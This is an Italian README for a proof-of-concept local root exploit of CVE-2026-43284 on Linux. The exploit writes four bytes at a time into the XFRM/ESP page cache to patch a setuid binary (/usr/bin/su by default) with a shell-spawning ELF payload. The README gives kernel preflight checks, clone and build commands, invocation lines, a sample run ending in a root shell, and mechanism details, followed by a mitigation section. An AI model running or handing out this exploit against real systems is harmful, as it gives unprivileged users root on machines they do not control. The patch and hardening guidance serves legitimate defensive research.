
Proof-of-concept per CVE-2026-43284 — primitiva di scrittura di 4 byte nella page-cache XFRM/ESP per patchare un binario setuid (x86_64, user namespace). Include preflight del kernel e scansione SUID.
Proof-of-concept di escalation dei privilegi locale tramite corruzione della page-cache XFRM/ESP
Primitiva di scrittura a 4 byte · 48 iterazioni · sovrascrittura ELF da 192 byte · utente non privilegiato + netns
Sinistra: preflight del kernel, scansione setuid e catena dell'exploit ·
Destra: shell di root avviata — id / whoami confermano uid=0(root)
Testato su WSL2 · Ubuntu 24.04.1 LTS · kernel 6.6.87.2-microsoft-standard-WSL2
╔═══════════════════════════════════════╗
║ SLEY - CVE-2026-43284 dirtyfrag PoC ║
╚═══════════════════════════════════════╝
Disclaimer: Solo per ricerca sulla sicurezza autorizzata, formazione e test su sistemi di tua proprietà o per i quali hai esplicito permesso di testare. Gli autori non sono responsabili di un uso improprio.
Funziona anche quando algif_aead è in blacklist: l'exploit usa direttamente il percorso del codice XFRM/ESP del kernel.
Controlli preliminari integrati prima dello sfruttamento:
CONFIG_USER_NS, CONFIG_XFRM, CONFIG_INET_ESP/boot/config-*, /lib/modules/*/config o /proc/config.gz su WSL2)find / -perm -4000)CONFIG_USER_NS=y
CONFIG_XFRM=y
CONFIG_INET_ESP=m # or =y
Verifica rapida:
# bare metal / VM
grep -E 'CONFIG_XFRM=|CONFIG_INET_ESP=|CONFIG_USER_NS=' /boot/config-$(uname -r)
# WSL2
zcat /proc/config.gz | grep -E 'CONFIG_XFRM=|CONFIG_INET_ESP=|CONFIG_USER_NS='
gcc, libc, libutil (per forkpty)/usr/bin/su)git clone https://github.com/jayhutajulu1/CVE-2026-43284.git
cd CVE-2026-43284
make
Oppure manualmente:
gcc -O0 -Wall -o sley-dirtyfrag sley-dirtyfrag.c -lutil
-O0è intenzionale: l'ottimizzazione può rompere il comportamento di splice/UDP sensibile ai tempi.
id
# uid=1000(youruser) gid=1000(youruser) groups=...
./sley-dirtyfrag # default target: /usr/bin/su
./sley-dirtyfrag /usr/bin/passwd # custom setuid binary
Lo strumento esegue tre fasi automatiche:
| Fase |
|---|
All'interno della shell avviata:
id
# uid=0(root) gid=0(root) groups=0(root)
whoami
# root
Premi Ctrl+D o digita exit. Il PoC elimina la page cache così il binario originale su disco viene ripristinato automaticamente.
Se il ripristino fallisce:
echo 3 | sudo tee /proc/sys/vm/drop_caches
┌─[ phase 1] kernel config preflight
→ /proc/config.gz
[+] CONFIG_USER_NS = y (required =y)
[+] CONFIG_XFRM = y (required =y)
[+] CONFIG_INET_ESP = m (required =m or =y)
kernel options OK.
┌─[ phase 2] setuid binary scan
10 /usr/bin/su ← target
found 14 setuid binaries.
┌─[ phase 3] exploit
[*] unshare userns+netns, register 48 XFRM SA, splice→UDP 4500...
[+] corrupt all iterations done
[+] verify ELF patch detected
╔══════════════════════════════════════╗
║ root shell — exit to restore ║
╚══════════════════════════════════════╝
| Corretto in | f4c50a4034e6 (mainline, 8 maggio 2026) |
| Introdotto | cac2661c53f3 (gennaio 2017) |
Azione: aggiorna a un kernel della distribuzione che include la correzione, oppure compila da un albero mainline con patch.
# check your running kernel
uname -r
# verify fix is present (example — adjust for your distro's package naming)
# apt update && apt install --only-upgrade linux-image-$(uname -r)
Questo exploit dipende da unshare(CLONE_NEWUSER | CLONE_NEWNET) senza root.
# runtime (may not exist on all kernels)
sysctl kernel.unprivileged_userns_clone=0
# or disable at build time
# CONFIG_USER_NS is not set
Nota: disabilitare i namespace utente blocca questo PoC ma non necessariamente CVE-2026-43500 (variante rxrpc per sistemi senza userns).
find / -perm -4000 -type f 2>/dev/null
# remove or harden binaries you do not need
Se ritieni che un binario setuid sia stato modificato in memoria:
echo 3 | sudo tee /proc/sys/vm/drop_caches
# re-verify binary integrity from package manager / known-good hash
unshare(CLONE_NEWUSER | CLONE_NEWNET) — namespace utente/rete isolato (nessun root necessario).seq_hi (4 byte per SA).UDP_ENCAP_ESPINUDP:
splice() legge il file di destinazione in una pipesplice() sposta i dati dalla pipe → socket UDPskip_cowauthencesn scrive seq_hi a assoclen + cryptlensetuid(0) / setgid(0) / .| Ambiente | Kernel |
|---|---|
| WSL2 Ubuntu 24.04.1 LTS | 6.6.87.2-microsoft-standard-WSL2 |
| Ubuntu 24.04 | build vulnerabili |
| Fedora 44 | build vulnerabili |
/etc/passwd con una primitiva di brute-force da 8 byte pcbc(fcrypt). Non inclusa in questo repository.Fornito così com'è per ricerca e formazione. Usalo in modo responsabile.
SLEY — PoC dirtyfrag di CVE-2026-43284
Se questo ha aiutato la tua ricerca, considera di mettere una stella al repository.
| CVE | CVE-2026-43284 |
| Tipo | Escalation dei privilegi locale (LPE) |
| Vettore | Corruzione della page-cache XFRM / ESP-UDP (UDP_ENCAP_ESPINUDP) |
| Primitiva | 4 byte per iterazione (ESN seq_hi) |
| Payload | ELF x86_64 da 192 byte (setuid(0) + setgid(0) + execve("/bin/sh")) |
| Target predefinito | /usr/bin/su |
| Architettura | solo x86_64 |
| Privilegi richiesti | Utente non privilegiato (usa namespace utente e di rete) |
| Cosa fa |
|---|
| 1 | Preflight della configurazione del kernel (CONFIG_USER_NS, CONFIG_XFRM, CONFIG_INET_ESP) |
| 2 | Scansione dei binari setuid su tutto il sistema; evidenzia il target predefinito |
| 3 | Backup del target → patch della page cache (48 scritture da 4 byte) → avvio della shell di root |
| Comando | Descrizione |
|---|
./sley-dirtyfrag | Sfrutta /usr/bin/su (predefinito) |
./sley-dirtyfrag /path/to/suid | Sfrutta un binario setuid personalizzato |
make | Compila sley-dirtyfrag |
make clean | Rimuove il binario |
| Misura | Effetto |
|---|
| Patch / aggiornamento del kernel | Elimina il bug di scrittura sottostante nella page cache |
| Limita i namespace utente | Blocca questo PoC (richiede CONFIG_USER_NS) |
| Rimuovi i binari setuid non necessari | Riduce i target utilizzabili (chmod u-s o disinstallazione) |
| Lockdown / LSM (SELinux, AppArmor) | Può limitare l'impatto post-sfruttamento a seconda della policy |
| Monitora XFRM + UDP/4500 | Rileva registrazioni SA anomale e traffico ESP-in-UDP da namespace non privilegiati |
execve("/bin/sh")posix_fadvise) così il kernel ricarica il file pulito dal disco.| File | Descrizione |
|---|
sley-dirtyfrag.c | Sorgente dell'exploit |
Makefile | Helper di compilazione |
proof-of-concept-1.jpg | Screenshot del PoC — preflight + exploit |
proof-of-concept-2.jpg | Screenshot del PoC — verifica della shell di root |
README.md | Questo file |